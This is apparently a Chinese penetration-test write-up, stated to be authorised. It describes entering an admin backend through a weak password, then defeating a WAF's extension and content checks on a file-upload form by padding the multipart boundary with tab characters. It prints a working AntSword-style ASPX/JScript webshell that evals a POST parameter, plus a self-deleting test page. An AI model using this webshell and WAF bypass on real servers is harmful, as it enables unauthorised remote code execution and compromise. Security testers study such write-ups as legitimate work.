本次测试为授权测试。
0x01 背景
弱口令进入某后台,存在任意文件上传,存在waf
测试aa后缀成功上传通过查看派单可以看到文件路径
直接上传aspx被拦截
0x02 绕过后缀名检测
先简单尝试大小写被拦截,ashx,asmx,asp,cer都被拦截
直接上传cshtml,可参考https://www.cnblogs.com/cwkiller/p/12087890.html
访问跳转404,估计是不解析
尝试直接绕过waf后缀检测简单测试后发现在双引号后面加个单引号就能绕过
0x03 绕过内容检测
直接上冰蝎马,发现检测内容被waf拦截了
复制图片内容把马夹在中间,依旧绕不过,有的waf可能比较大的包就直接放行了,这个不行我复制了很大的图片内容依然被拦截
这个站在之前测试注入过程中并没有发现waf,尝试直接将一句话post发送(非上传格式)发现并不会拦截
猜测waf肯定通过Content-Type: multipart/form-data来判定这是个上传包,然后就检测内容
而waf是如何解析post包哪个地方是上传的内容呢,是根据
Content-Type: multipart/form-data; boundary=---------------------------7e43d3910182
Content-Type中boundary的值---------------------------7e43d3910182
那么思路就来了,我们在---------------------------7e43d3910182后加多个Tab键服务端既正常解析上传内容而waf则可能通过
---------------------------7e43d3910182TabTab 去查找上传的内容然而并找不到从而被绕过,讲了这么就那肯定要测一把
bingo成功绕过内容检测
0x04 奇怪的404
上传成功了先访问马看看
又是这个情况,哪里出问题了呢,直接连接马也连不上,抽根烟记起之前搞得一个jsp站也是上传成功了老是404https://www.cnblogs.com/cwkiller/p/11788009.html
可能是马要有内容输出才不会404,直接上大马,连接成功system权限
验证是否是马要有内容输出才不会404,上传打印当前时间的aspx
<%@Page Language="C#"%>
<%
Response.Write(DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss"));
System.IO.File.Delete(Request.PhysicalPath);
%>
印证猜测,蚁剑马增加一句输出hello,world语句
<%@ Page Language="Jscript" Debug=true%>
<%
Response.Write("hello,world");
var hw=Request.Form("mr6");
var du='iNUZuDe';
var zu=du.replace("iNUZuD","unsaf");
function RIEo(BWrg)
{eval(BWrg,zu);}
RIEo(hw);
%>
带上cookie(此目录下的文件需要登录才能访问),连接成功